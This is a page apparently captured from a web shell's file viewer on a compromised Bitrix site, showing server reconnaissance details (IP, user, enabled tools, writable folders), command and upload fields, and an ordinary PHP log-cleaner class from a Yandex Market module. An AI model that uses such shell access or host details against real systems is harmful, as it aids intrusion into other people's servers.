403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/logger/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/logger/cleaner.php
<?php

namespace Yandex\Market\Logger;

use Yandex\Market;
use Bitrix\Main;

class Cleaner extends Market\Reference\Agent\Regular
{
	public static function getDefaultParams()
	{
		return [
			'interval' => 86400,
		];
	}

	public static function run()
	{
		$tables = static::getTables();
		$days = static::getExpireDays();

		if ($days > 0)
		{
			$date = static::buildExpireDate($days);

			foreach ($tables as $table)
			{
				static::cleanTable($table, $date);
			}
		}
	}

	protected static function getTables()
	{
		return [
			Trading\Table::class,
		];
	}

	/**
	 * @param class-string<Market\Reference\Storage\Table> $dataClass
	 * @param Main\Type\DateTime $dateTime
	 */
	protected static function cleanTable($dataClass, Main\Type\DateTime $dateTime)
	{
		$dataClass::deleteBatch([
			'filter' => [ '<=TIMESTAMP_X' => $dateTime ],
		]);
	}

	/**
	 * @return int
	 */
	protected static function getExpireDays()
	{
		return (int)Market\Config::getOption('log_expire_days', 30);
	}

	protected static function buildExpireDate($days)
	{
		$result = new Main\Type\DateTime();
		$result->add('-P' . (int)$days . 'D');

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit